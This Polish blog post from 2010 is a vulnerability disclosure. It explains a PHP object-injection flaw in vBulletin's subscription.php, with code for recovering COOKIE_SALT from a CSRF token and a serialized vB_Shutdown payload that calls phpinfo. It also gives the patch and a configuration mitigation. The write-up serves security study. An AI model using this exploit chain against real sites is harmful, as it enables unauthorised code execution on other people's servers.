04 lipca 2010

vBulletin: interesująca podatność typu script injection

Zapraszam do zapoznania się z poniższym artykułem autorstwa Dariusza Tytko.
Jakiś czas temu przeglądając kod źródłowy  popularnego komercyjnego skryptu internetowego forum dyskusyjnego, odkryłem interesującą podatność. Oto szczegółowa analiza tego przypadku. Najpierw jednak musimy rozpocząć od odrobiny teorii z PHP. Wyobraźmy sobie następujący fragment kodu:

$data = unserialize($data_from_user);
if (!is_array($data)) {
   return;

}

Kod wygląda całkiem niewinnie, jeżeli odebrane dane nie są zserializowaną tablicą, funkcja kończy działanie... No tak, ale co w przypadku, gdy użytkownik dostarczy obiekt klasy? Okazuje się, że wówczas wykonany zostanie destruktor tej klasy. Pytanie, czy możemy w jakiś sposób wykorzystać to zachowanie języka PHP? Jak najbardziej, wystarczy, że w kodzie badanej aplikacji znajdziemy klasę, której destruktor wykonuje jakąś konkretną akcję, np. usuwa pliki tymczasowe:

class Cleaner {
    public function __destruct() {
        foreach ($this->_toDelete as $f)
            unlink($f);
    }
    public function add($f) {
        $this->_toDelete[] = $f;
    }
    private $_toDelete = array();

}

Teraz użytkownik, może wykonać (lokalnie) następujące działanie:

$x = new Cleaner();
$x->add('index.html');

$payload = serialize($x);

I wysłać $payload do aplikacji, gdzie destruktor posłusznie usunie plik index.html. Tyle teorii, czas na przykład z życia wzięty.

Jakiś czas temu przeglądałem kod źródłowy forum vBulletin, które jak się okazało, zawiera dość nietypowy błąd typu script injection. Podatności w żadnym wypadku nie można zaliczyć do grona krytycznych, gdyż pozwala wywołać na zdalnej maszynie jedynie dowolną, bezparametrową funkcję języka PHP np: phpinfo. Myślę jednak, że jest na tyle ciekawa, że warto o niej wspomnieć na forum publicznym.

Oto szczegóły. Plik subscription.php zawiera, między innymi, następujący blok kodu:

$ids = @unserialize(verify_client_string($vbulletin->GPC['ids']));

if (!is_array($ids) OR empty($ids))
{
// error handling...

}

Wygląda znajomo prawda? Pojawia się jednak dodatkowy poziom trudności, gdyż odebrane dane poddawane są weryfikacji. Mamy więc przed sobą dwa problemy:
  1. Weryfikacja danych
  2. Odnalezienie w kodzie aplikacji klasy, która posiada użyteczny destruktor
W pierwszej kolejności zajmiemy się weryfikacją. Funkcja verify_client_string wygląda następująco:


function verify_client_string($string, $extra_entropy = '')
{
    if (substr($string, 0, 4) == 'B64:')
    {
            $firstpart = substr($string, 4, 40);
            $return = substr($string, 44);
            $decode = true;
    }
    else
    {
            $firstpart = substr($string, 0, 40);
            $return = substr($string, 40);
            $decode = false;
    }

    if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
    {
            return ($decode ? base64_decode($return) : $return);
    }

    return false;

}

Jak widzimy, aby aplikacja przyjęła dane użytkownika, muszą one zostać podpisane. Żeby tego dokonać musimy znać wartość COOKIE_SALT. Okazuje się, że domyślna wartość COOKIE_SALT to nr licencji, który ma następujący format: VBXXXXXXXX, gdzie XXXXXXXX to liczba w postaci szesnastkowej. W praktyce wszystkie klucze licencji, które sprawdziłem miały format: VBFXXXXXXX, mamy więc 2^28 kombinacji. Trochę za dużo na atak on-line. Nie wszystko jednak stracone. Okazuje się, ze vBulletin na podstawie wartości COOKIE_SALT oblicza wartość tokenu chroniącego przed atakami CSRF, który siłą rzeczy przesyłany jest do użytkownika. Wspomniany token wyliczany jest w następujący sposób:

$user['securitytoken_raw'] = sha1($user['userid'] . sha1($user['salt']) . sha1(COOKIE_SALT));
$user['securitytoken'] = TIMENOW . '-' . sha1(TIMENOW . $user['securitytoken_raw']);

userid to wartość publicznie znana, pozostaje salt, która jest wartością losową, stałą dla każdego użytkownika. Wyliczana jest w następujący sposób:

function fetch_user_salt($length = 3)
{
    $salt = '';
    for ($i = 0; $i < $length; $i++)
    {
            $salt .= chr(rand(33, 126));
    }
    return $salt;

}

Mamy więc 94^3 kombinacji wartości salt. W połączeniu z liczbą kombinacji wartości COOKIE_SALT 2^28 dostajemy 94^3 * 2^28 przypadków jakie musimy sprawdzić, aby odtworzyć wartość COOKIE_SALT z tokenu zabezpieczającego. Nadal dużo, nawet na atak off-line. 

Po chwili poszukiwań, na stronie "reply post" znajdujemy wartość, która wyliczana jest w następujący sposób:

$poststarttime = TIMENOW;
$posthash = md5($poststarttime . $vbulletin->userinfo['userid'] . $vbulletin->userinfo['salt']);

Bingo! Odtworzenie wartości salt z tak wyliczonego hasha to dosłownie chwila. Mając wartość salt, możemy wrócić do łamania wartości COOKIE_SALT na podstawie securitytoken. Po chwili powinniśmy mieć upragnioną wartość COOKIE_SALT!

Zajmiemy się teraz drugim problemem - poszukiwanie klasy posiadającej użyteczny destruktor. Rezultat poszukiwań to klasa vB_Shutdown (plik class_core.php), której destruktor wygląda następująco:

function __destruct()
{
if (!empty($this->shutdown))
{
foreach ($this->shutdown AS $key => $funcname)
{
    $funcname();
    unset($this->shutdown[$key]);
}
}

}

Jak widać klasa jest niemal stworzona do wykorzystania w tego typu ataku. Jej destruktor wywołuje listę funkcji PHP! Niestety, w tym wypadku mogą to być tylko funkcje nie posiadające argumentów.

Teraz możemy wykorzystać wszystkie zdobyte do tej pory informacje do przeprowadzenia ataku:

Tworzymy obiekt następującej klasy:
class vB_Shutdown {
    public $shutdown = array(
"phpinfo"
    );
}


$payload = new vB_Shutdown();

Serializujemy payload:
$payload = serialize($payload);

Podpisujemy payload (algorytmem wykorzystywanym przez vBulletin) używając wyliczonej wartości COOKIE_SALT.

Wysyłamy payload do aplikacji i czekamy na rezultat wykonania funkcji phpinfo.

Błąd został zgłoszony kilka miesięcy temu, dostępne są odpowiednie aktualizacje. Z technicznego punktu widzenia, poprawka sprowadza się do rezygnacji z serializacji, na rzecz kodowania tablicy w postaci ciągu tekstowego "1,2,3,...,n". Warto zaznaczyć, że bardzo łatwo można zablokować opisany atak, nawet w przypadku niezaktualizowanej wersji oprogramowania, poprzez ustawienie zmiennej konfiguracyjnej $config['Misc']['cookie_security_hash'] (plik includes/config.php) na odpowiednio długi, losowy ciąg znaków. Ten prosty zabieg sprawia, że wartość ta zostanie użyta jako COOKIE_SALT (zamiast numeru licencji).

[Od redakcji]
Autorem powyższego artykułu jest Dariusz Tytko (e-mail: tyter9 na Gmailu). Przy okazji pragnę  jeszcze raz przypomnieć, że serwis HCSL jest niezwykle otwarty na wszelkie formy współpracy.